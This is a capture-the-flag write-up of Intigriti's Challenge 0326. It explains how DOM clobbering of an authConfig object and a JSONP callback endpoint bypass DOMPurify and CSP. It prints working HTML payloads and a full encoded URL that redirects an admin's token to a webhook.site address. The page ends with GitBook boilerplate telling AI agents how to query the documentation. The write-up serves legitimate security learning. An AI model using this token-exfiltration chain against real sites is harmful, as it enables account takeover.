> For the complete documentation index, see [llms.txt](https://cl4nd3st1ne.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cl4nd3st1ne.gitbook.io/write-ups/intigriti-challenges/challenge-0326-write-up.md).

# Challenge 0326 Write-up

I managed to solve this month's Intigriti Challenge. It was a fantastic opportunity for me to level-up my XSS skills. I will be elaborating on my approach, the things I learnt and some rabbit holes that I got caught up in. Let's dive in!

***

The challenge page is a Search Portal where we can enter queries. If some query returns suspicious data, we can report the resulting URL to the Admin.

<figure><img src="/files/xtaUUAIfBJINqwjRjM3V" alt=""><figcaption></figcaption></figure>

Since this is an XSS Challenge, the first thing I tried was entering some input with HTML in it to see if it would render.

<figure><img src="/files/pMAMR9Rl1ReLB4pPUGF7" alt=""><figcaption></figcaption></figure>

It did, but playing around with typical XSS payloads like `<img> onerror` and `<script>` resulted in the malicious parts of the payload getting filtered out.

Moving on with examining the source code, I noticed that DOMPurify was being used and there were 2 custom JS files - `components.js` and `main.js`. There was also a comment hinting at the CSP implementation.

I checked the CSP first.

<figure><img src="/files/0s7WGa9T7oKL9yJtMrwK" alt=""><figcaption></figcaption></figure>

Allowing `unsafe-inline` in `style-src` seemed like something that might be of use.

My burp also highlighted that DOMPurify verison 3.0.6 was in use, which is known to be vulnerable to attacks like mXSS and Prototype Pollution.

Time to check the JavaScript files!

<figure><img src="/files/JoTwHfS78CGMuw8rCCyk" alt=""><figcaption><p>main.js</p></figcaption></figure>

`main.js` contained the configuration of DOMPurify. It specified that beyond basic filtering, the attributes `id`, `class` and `style` will also be filtered from the search parameter but their child tags and text content will be retained. This will make it difficult to exploit any kind of injection possible through the `style-src` CSP we saw earlier.

It also checks if a `ComponentManager` object exists in the global window object and calls the `init()` method on it if it does. We shall find out what this is in the next JS file.

<figure><img src="/files/yiaSppPw5dU1kObr9uXy" alt=""><figcaption><p>component.js</p></figcaption></figure>

In `component.js` lies the real juicy stuff. We can find the definition of the `ComponentManager` class which looks for elements having the `data-component` attribute set to `true`. For each such element, it collects the value of the `data-config` attribute to construct a URL which becomes the source of a script tag which it adds to the DOM. So, this class is dynamically adding a script to the DOM, but since the CSP forbids scripts from sources other than the current domain, we cannot load external scripts with it.

There's more worth noting from this script.

<figure><img src="/files/RL2zKRjLjAJQlWWSlWgH" alt=""><figcaption><p>component.js</p></figcaption></figure>

There's a `loginRedirect` function which is declared as a part of a global `Auth` object. It basically redirects the user to a URL defined in another global object - `authConfig`. In this object, the `append` key decides if the redirect URL should contain a 'token' and the `next` key contains the base URL to which the redirection must occur. It is also worth noting that the [dataset](https://developer.mozilla.org/en-US/docs/Web/HTML/How_to/Use_data_attributes) property which is being used to obtain these keys is a built-in property of HTML tags. It is used to store metadata about that tag. It is declared using `data-` attributes.

All in all, this function can allow us to receive an authenticated user's token on an endpoint of our choice if we can control the `authConfig` object.

Also, notice how both the global variables have been declared in conjunction with the OR operator. This introduces a [DOM Clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering) vulnerability.

> DOM Clobbering is a technique where HTML elements with specific `id` or `name` attributes can overwrite global JavaScript variables or DOM properties. This happens because browsers automatically create global references to elements with IDs, which can conflict with expected JavaScript objects.

Since we can inject HTML into the page, we could define an HTML tag with an `id` or `name` with the value `authConfig`. This will create a global variable `window.authConfig` and then we can add the required properties to it by adding `data-` attributes to the same tag.

To summarise, we have the following action points:

1. A dynamic script injector but for the same domain only
2. A gadget - `Auth.loginRedirect` function
3. Clobbering the `authConfig` object

Initially, I considered the outdated DOMPurify as a possible vector for XSS and spent quite some time playing with mXSS payloads. However, I realised later that it was an unnecessary step because I was able to clobber the `authConfig` object with a simple `<form>` tag containing the necessary attributes. This was because the DOMPurify config didn't forbid the `name` or `data-` attributes. So, simply using the following it was possible to define the `authConfig` object with properties we want:

{% code overflow="wrap" %}

```
<form name="authConfig" data-next="[webhook-url]" data-append="true" data-component="true" data-config='{"path":"/something/","type":"any"}'></form>
```

{% endcode %}

<figure><img src="/files/S3t87gZRbrg7viJi1wpV" alt=""><figcaption></figcaption></figure>

On trying that payload, it can be seen that the Component Manager tries to load a script based on our test inputs. This means that `authConfig` was clobbered successfully, as shown.

One item checked off the list, two to go. We had to find a way to call the `Auth.loginRedirect` function. Intigriti released a hint to help with this. It said, <mark style="color:$warning;">"To bypass the inner walls, find the hidden api endpoint that lets you choose the callback."</mark>

This means that there must be an API that will take a callback function as an argument. This will satisfy the `script-src` CSP. I went ahead and fuzzed for API endpoints.

<figure><img src="/files/uLmvY3Ben627AzM7MpqE" alt=""><figcaption></figcaption></figure>

`/api/stats` exists. On visiting it we can see that it is "padding" its response into the function we provide as a callback:

<figure><img src="/files/Tp1heAhSqcpV2OqKhmvF" alt=""><figcaption></figcaption></figure>

What we have here is a JSONP mechanism. It has been likely used as a lightweight way to allow the main application to pull data from this API and immediately "pipe" it into the existing logic without complex cross-origin configurations.

> **JSONP (JSON with Padding)** is a legacy technique for bypassing Same-Origin Policy to load cross-origin data by wrapping JSON in a callback function. While it enabled cross-domain data sharing before CORS, it introduces security risks and is largely deprecated.

We can use this for our purpose by providing the `Auth.loginRedirect` function as the callback. The payload now becomes:

{% code overflow="wrap" %}

```
<form name="authConfig" data-next="[webhook-url]" data-append="true" data-component="true" data-config='{"path":"/api/stats?callback=Auth.loginRedirect&","type":"any"}'></form>
```

{% endcode %}

On trying this query, I am successfully redirected:

<figure><img src="/files/Eeo4lJjUX78gSl9IW4dq" alt=""><figcaption></figcaption></figure>

To solve the challenge, we need to report the URL that results from entering the above query to the admin:

{% code overflow="wrap" %}

```
https://challenge-0326.intigriti.io/challenge.html?q=%3cform%20name%3d%22authConfig%22%20data-next%3d%22https%3a%2f%2fwebhook.site%2f7d485371-ba46-4792-b1ce-4e2f5179e977%22%20data-append%3d%22true%22%20data-component%3d%22true%22%20data-config%3d'%7b%22path%22%3a%22%2fapi%2fstats%3fcallback%3dAuth.loginRedirect%26%22%2c%22type%22%3a%22any%22%7d'%3e%3c%2fform%3e&domain=internal
```

{% endcode %}

Flag:

<figure><img src="/files/07RwGcLXOGhdkFjZZ71r" alt=""><figcaption></figcaption></figure>

Let's summarise the exploit chain:

1. **Inadequate DOMPurify Filtering**: The application uses DOMPurify to sanitise user input in the `q` parameter. Although the configuration explicitly forbids `id`, `class`, and `style`, it permits the `name` and `data-` attributes.
2. **DOM Clobbering**: The `component.js` script relies on a global variable `window.authConfig` to determine redirection logic. Because the `name` attribute is permitted by the sanitiser, an attacker can inject an HTML element like `<form>` with `name="authConfig"`. This "clobbers" the global variable, allowing the attacker to control the dataset properties (`next` and `append`).
3. **CSP Bypass via Gadget (JSONP)**: The Content Security Policy (CSP) restricts `script-src` to `'self'`. However, the `ComponentManager` class dynamically creates script tags based on attributes found in the DOM (`data-component="true"` and `data-config`). By combining this with a discovered JSONP endpoint (`/api/stats`), an attacker can force the application to load a trusted endpoint from its own domain that executes a chosen callback. In this case, the `Auth.loginRedirect` function.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://cl4nd3st1ne.gitbook.io/write-ups/intigriti-challenges/challenge-0326-write-up.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
